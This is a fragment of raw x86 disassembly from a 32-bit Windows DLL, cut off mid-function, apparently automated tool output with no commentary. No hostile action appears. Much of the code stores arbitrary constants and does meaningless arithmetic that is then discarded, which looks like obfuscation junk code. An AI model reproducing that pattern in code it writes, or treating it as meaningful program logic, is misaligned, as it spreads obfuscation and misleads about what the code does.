mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 5
jne 0x1001a85f
xor ebx, ebx
push ebx
lea ecx, [ebp - 0xb60]
call fcn.10016dbd
mov dword [eax], esi
mov dword [ebp - 0x1c], 0x57ea0d01
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 5
je 0x1001a83b
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersion]
or eax, 0xffffffff
lea ecx, [ebp - 0xb60]
mov dword [ebp - 4], eax
call fcn.10016da1
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1001a892
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x340], 0xfffffffa
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1001a87a
xor eax, eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x34], 0xedfa
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1001a8ba
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1420], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1001a8a5
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x1001a92e
mov dword [ebp - 0x48], 6
mov dword [ebp - 0x40], 0x964a90c6
mov dword [ebp - 0x1c], eax
jmp 0x1001a8e3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x10e0], 0xd402da3c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1001a8d2
mov eax, dword [ebp - 0x48]
xor edx, edx
test eax, eax
setg dl
dec edx
add edx, dword [ebp - 0x10]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, 0xfffffffe
setne cl
xor eax, eax
test ecx, ecx
setle al
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x10]
jne 0x1001a919
mov dword [ebp - 0x30], 4
mov dword [ebp - 0x40], 0x552ad14c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x2f
jge 0x1001a9b0
mov dword [ebp - 0x40], 0x5c6a
mov edx, 0x17e
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x34], 0xd232
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x10]
imul eax, eax, 0x197c
sub eax, 3
neg eax
sbb eax, eax
inc eax
cmp eax, 0xd2e84cbf
sbb eax, eax
xor ecx, ecx
inc eax
sub edx, eax
sub edx, dword [ebp - 0x34]
add edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x10]
cmp eax, edx
setg cl
xor edx, edx
cmp ecx, 0xb606
setl dl
xor eax, eax
cmp edx, 0xf9e8
setle al
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x2f
jl 0x1001a945
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jg 0x1001a9d1
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0x1420], 0
jne 0x1001a9cf
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 2
jle 0x1001a9b9
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1001a9ff
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jle 0x1001a9e7
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x340]
cmp dword [ebp - 0x28], eax
jle 0x1001aa16